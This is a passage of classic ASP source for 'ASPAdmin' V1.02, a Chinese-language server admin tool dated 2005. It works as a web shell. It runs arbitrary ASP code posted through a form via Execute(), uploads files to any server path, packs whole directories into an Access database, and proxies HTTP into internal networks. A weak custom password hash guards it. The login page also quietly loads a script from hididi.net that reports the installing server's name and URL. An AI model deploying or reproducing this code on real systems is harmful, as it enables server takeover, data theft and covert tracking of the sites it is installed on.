  1453.         Set adoCatalog = Server.CreateObject("ADOX.Catalog")
  1454.         connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db
  1455.  
  1456.         If fso.FolderExists(strPath) = False Then
  1457.             ShowErr(thePath & " 目录不存在或者不允许访问!")
  1458.         End If
  1459.         If theAct = "PackIt" Then
  1460.             If fso.GetFolder(strPath).Size > 300 * 1024 * 1024 Then
  1461.                 ShowErr("该目录超过300M, 可能造成服务器当机, 操作停止.")
  1462.             End If
  1463.         End If
  1464.         If fso.FileExists(db) = False Then
  1465.             adoCatalog.Create connStr
  1466.             conn.Open connStr
  1467.             conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
  1468.          Else
  1469.             conn.Open connStr
  1470.         End If
  1471.        
  1472.         stream.Open
  1473.         stream.Type = 1
  1474.         rs.Open "FileData", conn, 3, 3
  1475.  
  1476.         If theAct = "PackIt" Then
  1477.             Call FsoTreeForMdb(strPath, rs, stream)
  1478.          Else
  1479.             strPath = GetPost("truePath") & "\"
  1480.             For Each objX In Request.Form("checkBox")
  1481.                 strPathB = strPath & objX
  1482.                 isFolder = fso.FolderExists(strPathB)
  1483.                 If isFolder = True Then
  1484.                     Call FsoTreeForMdb(strPathB, rs, stream)
  1485.                  Else
  1486.                     If InStr(sysFileList, "$" & objX & "$") <= 0 Then
  1487.                         rs.AddNew
  1488.                         rs("thePath") = Mid(strPathB, 4)
  1489.                         stream.LoadFromFile(strPathB)
  1490.                         rs("fileContent") = stream.Read()
  1491.                         rs.Update
  1492.                     End If
  1493.                 End If
  1494.             Next
  1495.         End If
  1496.  
  1497.         rs.Close
  1498.         Conn.Close
  1499.         stream.Close
  1500.         Set rs = Nothing
  1501.         Set conn = Nothing
  1502.         Set stream = Nothing
  1503.         Set adoCatalog = Nothing
  1504.     End Sub
  1505.    
  1506.     Sub UnPack()
  1507.         Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
  1508.         If isDebugMode = False Then On Error Resume Next
  1509.  
  1510.         strPath = thePath
  1511.         str = fso.GetParentFolderName(strPath) & "\"
  1512.         Set rs = CreateObject("ADODB.RecordSet")
  1513.         Set stream = CreateObject("ADODB.Stream")
  1514.         Set conn = CreateObject("ADODB.Connection")
  1515.         connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath
  1516.  
  1517.         conn.Open connStr
  1518.         ChkErr(Err)
  1519.         rs.Open "FileData", conn, 1, 1
  1520.         stream.Open
  1521.         stream.Type = 1
  1522.  
  1523.         Do Until rs.Eof
  1524.             theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
  1525.             If fso.FolderExists(str & theFolder) = False Then
  1526.                 CreateFolder(str & theFolder)
  1527.             End If
  1528.             stream.SetEOS()
  1529.             If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
  1530.             stream.SaveToFile str & rs("thePath"), 2
  1531.             rs.MoveNext
  1532.         Loop
  1533.  
  1534.         rs.Close
  1535.         conn.Close
  1536.         stream.Close
  1537.         Set ws = Nothing
  1538.         Set rs = Nothing
  1539.         Set stream = Nothing
  1540.         Set conn = Nothing
  1541.     End Sub
  1542.    
  1543.     Sub FsoTreeForMdb(strPath, rs, stream)
  1544.         Dim item, theFolder, folders, files
  1545.         Set theFolder = fso.GetFolder(strPath)
  1546.         Set files = theFolder.Files
  1547.         Set folders = theFolder.SubFolders
  1548.  
  1549.         For Each item In folders
  1550.             Call FsoTreeForMdb(item.Path, rs, stream)
  1551.         Next
  1552.  
  1553.         For Each item In files
  1554.             If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
  1555.                 rs.AddNew
  1556.                 rs("thePath") = Mid(item.Path, 4)
  1557.                 stream.LoadFromFile(item.Path)
  1558.                 rs("fileContent") = stream.Read()
  1559.                 rs.Update
  1560.             End If
  1561.         Next
  1562.  
  1563.         Set files = Nothing
  1564.         Set folders = Nothing
  1565.         Set theFolder = Nothing
  1566.     End Sub
  1567.  
  1568.     Sub PageUpload()
  1569.         ShowTitle("批量文件上传")
  1570.         theAct = Request.QueryString("theAct")
  1571.         If theAct = "upload" Then
  1572.             StreamUpload()
  1573.             echo "<script>alert('上传成功!');history.back();</script>"
  1574.         End If
  1575.         ShowUpload()
  1576.     End Sub
  1577.    
  1578.     Sub ShowUpload()
  1579.         If thePath = "" Then thePath = rootPath
  1580.         echo "<form method=post onsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>"
  1581.         echo "<table width=750>"
  1582.         echo "<tr>"
  1583.         echo "<td class=td colspan=2><font face=webdings>8</font> 批量文件上传</td>"
  1584.         echo "</tr>"
  1585.         echo "<tr>"
  1586.         echo "<td class=trHead colspan=2>&nbsp;</td>"
  1587.         echo "</tr>"
  1588.         echo "<tr>"
  1589.         echo "<td width='20%'>"
  1590.         echo "&nbsp;上传到:"
  1591.         echo "</td>"
  1592.         echo "<td>"
  1593.         echo "&nbsp;<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>覆盖模式"
  1594.         echo "</td>"
  1595.         echo "</tr>"
  1596.         echo "<tr>"
  1597.         echo "<td valign=top>"
  1598.         echo "&nbsp;文件选择: "
  1599.         echo "</td>"
  1600.         echo "<td>&nbsp;<input id=fileCount size=6 value=1> <input type=button value=设定 onclick=makeFile(fileCount.value)>"
  1601.         echo "<div id=fileUpload>"
  1602.         echo "&nbsp;<input name=file1 type=file size=50>"
  1603.         echo "</div></td>"
  1604.         echo "</tr>"
  1605.         echo "<tr>"
  1606.         echo "<td class=trHead colspan=2>&nbsp;</td>"
  1607.         echo "</tr>"
  1608.         echo "<tr>"
  1609.         echo "<td align=center class=td colspan=2>"
  1610.         echo "<input type=submit name=Submit value=上传 onclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>"
  1611.         echo "<input type=reset value=重置><input type=button value=关闭 onclick=window.close();>"
  1612.         echo "</td>"
  1613.         echo "</tr>"
  1614.         echo "</table>"
  1615.         echo "</form>"
  1616.         echo "<script language=javascript>" & vbNewLine
  1617.         echo "function makeFile(n){" & vbNewLine
  1618.         echo "  fileUpload.innerHTML = '&nbsp;<input name=file1 type=file size=50>'" & vbNewLine
  1619.         echo "  for(var i=2; i<=n; i++)" & vbNewLine
  1620.         echo "      fileUpload.innerHTML += '<br/>&nbsp;<input name=file' + i + ' type=file size=50>';" & vbNewLine
  1621.         echo "}" & vbNewLine
  1622.         echo "</script>"
  1623.     End Sub
  1624.    
  1625.     Sub StreamUpload()
  1626.         Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
  1627.         Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
  1628.         Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
  1629.         If isDebugMode = False Then On Error Resume Next
  1630.         Server.ScriptTimeOut = 5000
  1631.         newLine = ChrB(13) & ChrB(10)
  1632.         overWrite = Request.QueryString("overWrite")
  1633.         overWrite = IIf(overWrite = "true", "2", "1")
  1634.         Set sA = Server.CreateObject("Adodb.Stream")
  1635.         Set sB = Server.CreateObject("Adodb.Stream")
  1636.        
  1637.         sA.Type = 1
  1638.         sA.Mode = 3
  1639.         sA.Open
  1640.         sA.Write Request.BinaryRead(Request.TotalBytes)
  1641.         sA.Position = 0
  1642.         theForm = sA.Read()
  1643. '       sA.SaveToFile "c:\001.txt", 2 ''保存到临时文件进行查看
  1644.         itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1)
  1645.         totalLen = LenB(theForm)
  1646.         itemDivLen = LenB(itemDiv)
  1647.         intStart = itemDivLen + 2
  1648.         intUpLen = 0 '上面数据的长度
  1649.         Do
  1650.             intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5 ''equals - 2(回车) - 1(InStr) - 2(回车)
  1651.             intDataLen = intDataLen - intUpLen
  1652.             intEnd = intStart + intDataLen
  1653.             intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1
  1654.  
  1655.             sB.Type = 1
  1656.             sB.Mode = 3
  1657.             sB.Open
  1658.             sA.Position = intStart
  1659.             sA.CopyTo sB, intInfoEnd - intStart ''保存元素信息部分
  1660.            
  1661.             sB.Position = 0
  1662.             sB.Type = 2
  1663.             sB.CharSet = "GB2312"
  1664.             strInfo = sB.ReadText()
  1665.  
  1666.             strFileName = ""
  1667.             intFindStart = InStr(strInfo, "name=""") + 6
  1668.             intFindEnd = InStr(intFindStart, strInfo, """", 1)
  1669.             strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
  1670.  
  1671.             If InStr(strInfo, "filename=""") > 0 Then ''>0则为文件,开始接收文件
  1672.                 intFindStart = InStr(strInfo, "filename=""") + 10
  1673.                 intFindEnd = InStr(intFindStart, strInfo, """", 1)
  1674.                 strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
  1675.                 strFileName = Mid(strFileName, InStrRev(strFileName, "\") + 1)
  1676.             End If
  1677.  
  1678.             sB.Close
  1679.             sB.Type = 1
  1680.             sB.Mode = 3
  1681.             sB.Open
  1682.             sA.Position = intInfoEnd + 4
  1683.             sA.CopyTo sB, intEnd - intInfoEnd - 4
  1684.  
  1685.             If strFileName <> "" Then
  1686.                 sB.SaveToFile strPath & strFileName, overWrite
  1687.                 ChkErr(Err)
  1688.              Else
  1689.                 If strName = "thePath" Then
  1690.                     sB.Position = 0
  1691.                     sB.Type = 2
  1692.                     sB.CharSet = "GB2312"
  1693.                     strInfo = sB.ReadText()
  1694.                     thePath = strInfo
  1695.                     strPath = strInfo & "\"
  1696.                 End If
  1697.             End If
  1698.            
  1699.             sB.Close
  1700.  
  1701.             intUpLen = intStart + intDataLen + 2
  1702.             intStart = intUpLen + itemDivLen + 2
  1703.         Loop Until (intStart + 2) = totalLen
  1704.  
  1705.         sA.Close
  1706.         Set sA = Nothing
  1707.         Set sB = Nothing
  1708.     End Sub
  1709.  
  1710.     Sub PageLogin()
  1711.         Dim passWord
  1712.         passWord = Encode(GetPost("password"))
  1713.  
  1714.         If theAct = "Login" Then
  1715.             If userPassword = passWord Then
  1716.                 Session(m & "userPassword") = userPassword
  1717.                 ShowTitle("登录成功!")
  1718.                 PageReadMe()
  1719.                 Exit Sub
  1720.             End If
  1721.         End If
  1722.        
  1723.         If pageName = "PageOut" Then
  1724.             Session.Contents.Remove(m & "userPassword")
  1725.             RedirectTo(url)
  1726.         End If
  1727.        
  1728.         If Session(m & "userPassword") = userPassword Then
  1729.             PageReadMe()
  1730.             Exit Sub
  1731.         End If
  1732.        
  1733.         ShowTitle("管理登录")
  1734.         echo "<body onload=document.formx.password.focus();>"
  1735.         echo "<table width=416 align=center>"
  1736.         echo "<form method=post name=formx action=""" & url & """>"
  1737.         echo "<input type=hidden name=theAct value=Login>"
  1738.         echo "<tr>"
  1739.         echo "<td align=center class=td>管理登录</td>"
  1740.         echo "</tr>"
  1741.         echo "<tr>"
  1742.         echo "<td class=trHead>&nbsp;</td>"
  1743.         echo "</tr>"
  1744.         echo "<tr>"
  1745.         echo "<td height=75 align=center>"
  1746.         echo "<input name=password type=password style='border:1px solid #d8d8f0;background-color:#ffffff;'> "
  1747.         echo "<input type=submit value=LOGIN style='border:1px solid #d8d8f0;background-color:#f9f9fd;'>"
  1748.         echo "</td>"
  1749.         echo "</tr>"
  1750.         echo "<tr> "
  1751.         echo "<td align=center class=td>程序网络工作组ASPAdmin(物理路径版) V1.02</td>"
  1752.         echo "</tr>"
  1753.         echo "</form>"
  1754.         echo "</table>"
  1755.         echo "<script language=javascript src=""http://hididi.net/ASPAdmin/ASPAdmin_T.asp?theUrl=http://" & Request.ServerVariables("SERVER_NAME") & url & "&productName=HigroupASPAdmin_V1_02(A)""></script>"
  1756.         echo "</body>"
  1757.     End Sub
  1758.    
  1759.     Sub PageReadMe()
  1760.         Dim strInfo, aryInfo(7), theAry
  1761.         ShowTitle("ASP站点管理员(物理路径版) 简单说明")
  1762.        
  1763.         aryInfo(0) = "服务器信息探针|1.服务器基本信息<br/>&nbsp;&nbsp;WEB服务器的一些基本信息<br/>2.服务器组件信息<br/>&nbsp;&nbsp;一些常用的ASP组件的支持情况检测<br/>" & _
  1764.                      "3.Application/Session查看<br/>&nbsp;&nbsp;所有系统变量及其值的查看, 当前浏览器进程和服务器的会话及内容的查看"
  1765.         aryInfo(1) = "FSO文件浏览操作器|1.基本功能<br/>&nbsp;&nbsp;站点目录浏览, 新建, 重命名, 另存为, 删除, 文本编辑, 复制/移动到文件夹<br/>" & _
  1766.                      "2.外链功能<br/>&nbsp;&nbsp;项目打包(文件夹打包/解开器), mdb类型数据库操作(数据库操作器), 文件上传(批量文件上传)"
  1767.         aryInfo(2) = "数据库操作器<br/>(Access, SQL Server)|1.基本功能:<br/>&nbsp;&nbsp;数据库基本表结构查看, 数据表记录操作(查看,添加,修改,删除), 多条件记录查询<br/>" & _
  1768.                      "2.扩展功能<br/>&nbsp;&nbsp;执行自定义查询, 用来执行所有自定义SQL语句, 如果是Select查询还可以返回记录"
  1769.         aryInfo(3) = "文件夹打包/解开器|1.文件夹打包<br/>&nbsp;&nbsp;指定要打包的文件夹, 按""开始打包""后生成" & sPacketName & "(位于要打包的文件夹目录)<br/>" & _
  1770.                      "2.文件包解开<br/>&nbsp;&nbsp;指定文件包相对路径, 按""开始解包"", 解开目录为文件包(" & sPacketName & ")所在目录"
  1771.         aryInfo(4) = "批量文件上传|进入页面后, 指定好要上传的目标目录, 如果要上传多个, 请先设定上传文件数量,<br/>然后选择要上传的文件, 选择完毕后开始上传, 如果要上传的文件可能已经存在,可以选择""覆盖模式""<br/>进行覆盖上传"
  1772.         aryInfo(5) = "文本文件搜索器|指定搜索目录, 填写好搜索关键字, 指定搜索条件(文件名,文本内容,或者两者)后按提交即可"
  1773.         aryInfo(6) = "HTTP网页代理|通过另一台服务器来访问你所要访问的网页, 并把结果返回给你;<br/>把程序放在一台既能让外网访问又能被内网访问的WEB服务器上, 这样你就可以从网内通过它来上网,<br/>可以从网外通过它来访问内网网站, 这是一个神奇的功能"
  1774.         aryInfo(7) = "自定义ASP语句执行|允许执行自定义ASP语句, 但是变量及模块命名受程序本身的已命名限制"
  1775.  
  1776.         TopMenu()
  1777.         echo "<table width=750>"
  1778.         echo "<tr>"
  1779.         echo "<td class=td colspan=2><font face=webdings>8</font> ASP站点管理员(物理路径版) 简单说明</td>"
  1780.         echo "</tr>"
  1781.         echo "<tr>"
  1782.         echo "<td class=trHead colspan=2>&nbsp;</td>"
  1783.         echo "</tr>"
  1784.        
  1785.         For Each strInfo In aryInfo
  1786.             theAry = Split(strInfo, "|")
  1787.             echo "<tr>"
  1788.             echo "<td width='20%' valign=top>&nbsp;" & theAry(0) & "</td>"
  1789.             echo "<td style='padding-left:7px;'><span>" & theAry(1) & "</span></td>"
  1790.             echo "</tr>"
  1791.         Next
  1792.  
  1793.         echo "<tr>"
  1794.         echo "<td class=trHead colspan=2>&nbsp;</td>"
  1795.         echo "</tr>"
  1796.         echo "<tr>"
  1797.         echo "<td class=td colspan=2 align=right>By Marcos 2005.06&nbsp;</td>"
  1798.         echo "</tr>"
  1799.         echo "</table>"
  1800.     End Sub
  1801.    
  1802.     Function Encode(strPass)
  1803.         Dim i, theStr, strTmp
  1804.  
  1805.         For i = 1 To Len(strPass)
  1806.             strTmp = Asc(Mid(strPass, i, 1))
  1807.             theStr = theStr & Abs(strTmp)
  1808.         Next
  1809.  
  1810.         strPass = theStr
  1811.         theStr = ""
  1812.  
  1813.         Do While Len(strPass) > 16
  1814.             strPass = JoinCutStr(strPass)
  1815.         Loop
  1816.  
  1817.         For i = 1 To Len(strPass)
  1818.             strTmp = CInt(Mid(strPass, i, 1))
  1819.             strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
  1820.             theStr = theStr & strTmp
  1821.         Next
  1822.  
  1823.         Encode = theStr
  1824.     End Function
  1825.    
  1826.     Function JoinCutStr(str)
  1827.         Dim i, theStr
  1828.         For i = 1 To Len(str)
  1829.             If Len(str) - i = 0 Then Exit For
  1830.             theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i + 1, 1))) / 2))
  1831.             i = i + 1
  1832.         Next
  1833.         JoinCutStr = theStr
  1834.     End Function
  1835.  
  1836.     Sub PageExecute()
  1837.         Dim strAspCode
  1838.         strAspCode = GetPost("AspCode")
  1839.         ShowTitle("自定义ASP语句执行")
  1840.  
  1841.         If theAct = "Exe" Then
  1842.             echo "<table width=750 class=fixTable>"
  1843.             echo "<tr>"
  1844.             echo "<td class=trHead>&nbsp;</td>"
  1845.             echo "</tr>"
  1846.             echo "<tr>"
  1847.             echo "<td class=td><font face=webdings>8</font> 执行结果</td>"
  1848.             echo "</tr>"
  1849.             echo "<tr><td style='padding-left:6px;padding-right:5px;'>"
  1850.             Execute(strAspCode)
  1851.             echo "</td></tr></table>"
  1852.         End If
  1853.         ShowExeTable(strAspCode)
  1854.     End Sub
  1855.    
  1856.     Sub ShowExeTable(strAspCode)
  1857.         echo "<form method=post onsubmit=this.Submit.disabled=true; action=""" & url & """>"
  1858.         echo "<table width=750>"
  1859.         echo "<tr>"
  1860.         echo "<td class=td colspan=2><font face=webdings>8</font> 自定义ASP语句执行</td>"
  1861.         echo "</tr>"
  1862.         echo "<tr>"
  1863.         echo "<td class=trHead colspan=2>&nbsp;</td>"
  1864.         echo "</tr>"
  1865.         echo "<tr>"
  1866.         echo "<td valign=top width='10%'>"
  1867.         echo "&nbsp;ASP语句: "
  1868.         echo "</td>"
  1869.         echo "<td>&nbsp;"
  1870.         echo "<textarea name=AspCode cols=91 rows=23 title='By Marcos 2005.06'>" & HtmlEncode(strAspCode) & "</textarea>"
  1871.         echo "</td>"
  1872.         echo "</tr>"
  1873.         echo "<tr>"
  1874.         echo "<td class=trHead colspan=2>&nbsp;</td>"
  1875.         echo "</tr>"
  1876.         echo "<tr>"
  1877.         echo "<td align=center class=td colspan=2>"
  1878.         echo "<input type=hidden name=PageName value=PageExecute>"
  1879.         echo "<input type=hidden name=theAct value=Exe>"
  1880.         echo "<input type=submit name=Submit value=提交>"
  1881.         echo "<input type=reset value=重置>"
  1882.         echo "</td>"
  1883.         echo "</tr>"
  1884.         echo "</table>"
  1885.         echo "</form>"
  1886.     End Sub
  1887.  
  1888.     Sub PageWebProxy()
  1889.         Dim i, re, Url, Html
  1890.         Response.Clear()
  1891.         Url = Request.QueryString("url")
  1892.         If Url = "" Then Response.Redirect("?PageName=PageWebProxy&url=http://hididi.net/")
  1893.  
  1894.         Set re = New RegExp
  1895.         re.IgnoreCase = True
  1896.         re.Global = True
  1897.  
  1898.         sUrlB = Url
  1899.         Html = getHTTPPage(Url)
  1900.         Url = Left(Url, InStrRev(Url, "/"))
  1901.  
  1902.         i = InStr(sUrlB, "?")
  1903.         If i > 0 Then
  1904.             sUrlB = Left(sUrlB, i - 1)
  1905.         End If
  1906.  
  1907.         re.Pattern = "(href|action)=(\'|"")?(\?)"
  1908.         Html = re.Replace(Html,"$1=$2" & sUrlB & "?")
  1909.  
  1910.         re.Pattern = "(src|action|href)=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?"
  1911.         Html = re.Replace(Html,"$1x=$2$3$2")
  1912.  
  1913.         re.Pattern = "(window\.open|url)\((\'|"")?((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?\)"
  1914.         Html = re.Replace(Html,"$1x($2$3$2)")
  1915.  
  1916.         re.Pattern = "(src|action|href|background)=(\'|"")?([^\/""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?"
  1917.         Html = re.Replace(Html,"$1=$2" & Url & "$3$2")
  1918.         re.Pattern = "(src|action|href|background)=(\'|"")?\/([^""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?"
  1919.         Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$3$2")
  1920.         re.Pattern = "(src|action|href)=(\'|"")?\/(\'|"")?"
  1921.         Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$2")
  1922.  
  1923.         re.Pattern = "(window\.open|url)\((\'|"")?([^\/""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)"
  1924.         Html = re.Replace(Html,"$1($2" & Url & "$3$2)")
  1925.         re.Pattern = "(window\.open|url)\((\'|"")?\/([^""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)"
  1926.         Html = re.Replace(Html,"$1($2http://" & Split(Url, "/")(2) & "/$3$2)")
  1927.  
  1928.         Html = Replace(Html, "&", "%26")
  1929.         Html = Replace(Html, "%26nbsp;", "&nbsp;")
  1930.         Html = Replace(Html, "%26lt;", "&lt;")
  1931.         Html = Replace(Html, "%26gt;", "&gt;")
  1932.         Html = Replace(Html, "%26quot;", "&quot;")
  1933.         Html = Replace(Html, "%26copy;", "&copy;")
  1934.         Html = Replace(Html, "%26reg;", "&reg;")
  1935.         Html = Replace(Html, "%26raquo;", "&raquo;")
  1936.         Html = Replace(Html, "%26%26", "&&")
  1937.         Html = Replace(Html, "%26#", "&#")
  1938.  
  1939.         re.Pattern = "(src|action|href)x=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?"
  1940.         Html = re.Replace(Html, "$1=$2$3$2")
  1941.  
  1942.         re.Pattern = "((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)"
  1943.         Html = re.Replace(Html, "?PageName=PageWebProxy&url=$1")
  1944.  
  1945.         re.Pattern = "\?PageName=PageWebProxy&url=" & Url & "(#|javascript:)"
  1946.         Html = re.Replace(Html, "$1")
  1947.  
  1948.         re.Pattern = "multipart\/form-data"
  1949.         Html = re.Replace(Html, "")
  1950.  
  1951.         re.Pattern = ">\?PageName=PageWebProxy&url=((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)<"
  1952.         Html = re.Replace(Html, ">$1<")
  1953.  
  1954.         Response.Write(Html)
  1955.     End Sub
  1956.  
  1957.     Function getHTTPPage(url)
  1958.         Dim Http, theStr, fileExt
  1959.         Set Http = Server.CreateObject("MSXML2.XMLHTTP")
  1960.  
  1961.         If Request.Form.Count > 0 Then
  1962.             For Each x In Request.Form
  1963.                 theStr = theStr & Server.UrlEncode(x) & "=" & Server.UrlEncode(Request.Form(x)) & "&"
  1964.             Next
  1965.             Http.Open "POST", url, False
  1966.             Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded"
  1967.             Http.Send(theStr)
  1968.          Else
  1969.             Http.Open "GET", url, False
  1970.             Http.Send()
  1971.         End If
  1972.  
  1973.         If Http.readystate<>4 then Exit Function
  1974.  
  1975.         fileExt = LCase(Mid(url, InStrRev(url, ".") + 1))
  1976.         If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then
  1977.             Response.Clear
  1978.             Response.BinaryWrite Http.responseBody
  1979.             Response.End()
  1980.          Else
  1981.             If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then
  1982.                 Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1)
  1983.                 Response.BinaryWrite Http.responseBody
  1984.                 Response.Flush
  1985.              Else
  1986.                 getHTTPPage = bytesToBSTR(Http.responseBody, "GB2312")
  1987.             End If
  1988.         End If
  1989.  
  1990.         Set Http = Nothing
  1991.     End Function
  1992.  
  1993.     Function BytesToBstr(body,Cset)
  1994.         Dim objstream
  1995.         Set objstream = Server.CreateObject("adodb.stream")
  1996.         objstream.Type = 1
  1997.         objstream.Mode =3
  1998.         objstream.Open
  1999.         objstream.Write body
  2000.         objstream.Position = 0
  2001.         objstream.Type = 2
  2002.         objstream.Charset = Cset
  2003.         BytesToBstr = objstream.ReadText
  2004.         objstream.Close
  2005.         Set objstream = nothing
  2006.     End Function
  2007.  
  2008.     Sub PageOther()
  2009. %>
  2010. <style id=theStyle>
  2011. BODY {
  2012.     FONT-SIZE: 9pt;
  2013.     COLOR: #000000;
  2014.     background-color: #ffffff;
  2015.     FONT-FAMILY: "Courier New";
  2016.     scrollbar-face-color:#E4E4F3;
  2017.     scrollbar-highlight-color:#FFFFFF;
  2018.     scrollbar-3dlight-color:#E4E4F3;
  2019.     scrollbar-darkshadow-color:#9C9CD3;
  2020.     scrollbar-shadow-color:#E4E4F3;
  2021.     scrollbar-arrow-color:#4444B3;
  2022.     scrollbar-track-color:#EFEFEF;
  2023. }
  2024. TABLE {
  2025.     FONT-SIZE: 9pt;
  2026.     FONT-FAMILY: "Courier New";
  2027.     BORDER-COLLAPSE: collapse;
  2028.     border-width: 1px;
  2029.     border-top-style: solid;
  2030.     border-right-style: none;
  2031.     border-bottom-style: none;
  2032.     border-left-style: solid;
  2033.     border-color: #d8d8f0;
  2034. }
  2035. .tr {
  2036.     font-family: "Courier New";
  2037.     font-size: 9pt;
  2038.     background-color: #e4e4f3;
  2039.     text-align: center;
  2040. }
  2041. .td {
  2042.     height: 24px;
  2043.     font-size: 9pt;
  2044.     background-color: #f9f9fd;
  2045.     font-family: "Courier New";
  2046. }
  2047. input {
  2048.     font-family: "Courier New";
  2049.     BORDER-TOP-WIDTH: 1px;
  2050.     BORDER-LEFT-WIDTH: 1px;
  2051.     FONT-SIZE: 12px;
  2052.     BORDER-BOTTOM-WIDTH: 1px;
  2053.     BORDER-RIGHT-WIDTH: 1px;
  2054.     color: #000000;
  2055. }
  2056. textarea {
  2057.     font-family: "Courier New";
  2058.     BORDER-WIDTH: 1px;
  2059.     FONT-SIZE: 12px;
  2060.     color: #000000;
  2061. }
  2062. A:visited {
  2063.     FONT-SIZE: 9pt;
  2064.     COLOR: #333333;
  2065.     FONT-FAMILY: "Courier New";
  2066.     TEXT-DECORATION: none;
  2067. }
  2068. A:active {
  2069.     FONT-SIZE: 9pt;
  2070.     COLOR: #3366cc;
  2071.     FONT-FAMILY: "Courier New";
  2072.     TEXT-DECORATION: none;
  2073. }
  2074. A:link {
  2075.     FONT-SIZE: 9pt;
  2076.     COLOR: #000000;
  2077.     FONT-FAMILY: "Courier New";
  2078.     TEXT-DECORATION: none;
  2079. }
  2080. A:hover {
  2081.     FONT-SIZE: 9pt;
  2082.     COLOR: #3366cc;
  2083.     FONT-FAMILY: "Courier New";
  2084.     TEXT-DECORATION: none;
  2085. }
  2086. tr {
  2087.     font-family: "Courier New";
  2088.     font-size: 9pt;
  2089.     line-height: 18px;
  2090. }
  2091. td {
  2092.     font-size: 9pt;
  2093.     font-family: "Courier New";
  2094.     border-width: 1px;
  2095.     border-top-style: none;
  2096.     border-right-style: solid;
  2097.     border-bottom-style: solid;
  2098.     border-left-style: none;
  2099.     border-color: #d8d8f0;
  2100. }
  2101. .trHead {
  2102.     font-family: "Courier New";
  2103.     height: 2px;
  2104.     background-color: #e4e4f3;
  2105.     line-height: 2px;
  2106. }
  2107.  
  2108. .fixSpan {
  2109.     overflow: hidden;
  2110.     white-space: nowrap;
  2111.     text-overflow: ellipsis;
  2112.     vertical-align: baseline;
  2113. }
  2114.  
  2115. .fixTable {
  2116.     word-break: break-all;
  2117.     word-wrap: break-word;
  2118. }
  2119.  
  2120. #fileList span{
  2121.     width: 120px;
  2122.     line-height: 23px;
  2123.     cursor: hand;
  2124.     overflow: hidden;
  2125.     padding-left: 5px;
  2126.     white-space: nowrap;
  2127.     text-overflow: ellipsis;
  2128.     vertical-align: baseline;
  2129.     border: 1px solid #ffffff;
  2130. }
  2131. </style>
  2132. <script language=javascript>
  2133. function locate(str){
  2134.     var frm = document.forms[1];
  2135.     frm.theAct.value = str;
  2136.     frm.TheObj.value = '';
  2137.     frm.submit();
  2138. }
  2139.  
  2140. function checkAllBox(obj){
  2141.     var frm = document.forms[1];
  2142.     for(var i = 0; i < frm.elements.length; i++)
  2143.         if(frm.elements[i].id != 'checkAll' && frm.elements[i].type == 'checkbox')
  2144.             frm.elements[i].checked = obj.checked;
  2145. }
  2146.  
  2147. function changeThePath(str){
  2148.     var frm = document.forms[1];
  2149.     frm.theAct.value = '';
  2150.     frm.thePath.value = str;
  2151.     frm.submit();
  2152. }
  2153.  
  2154. function Command(cmd, str){
  2155.     var j = 0;
  2156.     var strTmpB;
  2157.     var strTmp = str;
  2158.     var frm = document.forms[1];
  2159.     strTmpB = frm.PageName.value;
  2160.  
  2161.     if(cmd == 'pack' || cmd == 'del'){
  2162.         for(var i = 0; i < frm.elements.length; i++)
  2163.             if(frm.elements[i].name != 'checkAll' && frm.elements[i].type == 'checkbox' && frm.elements[i].checked)
  2164.                 j ++;
  2165.         if(j == 0)return;
  2166.     }
  2167.  
  2168.     if(cmd == 'rename' || cmd == 'saveas'){
  2169.         frm.theAct.value = cmd;
  2170.         frm.param.value = str + ',';
  2171.         str = prompt('请输入新名称', strTmp);
  2172.         if(str && (strTmp != str)){
  2173.             frm.param.value += str;
  2174.         }else return;
  2175.     }
  2176.  
  2177.     if(cmd == 'download'){
  2178.         frm.theAct.value = 'download';
  2179.         frm.param.value = str;
  2180.         if(!confirm('如果该文件超过20M,\n建议不要通过流方式下载\n这样会占用服务器大量的资源\n并可能导致服务器死机!\n您可以先更改文件的后缀名为sys,\n然后通过http协议直接下载.\n按\"确定\"用流来进行下载.'))
  2181.             return;
  2182.     }
  2183.  
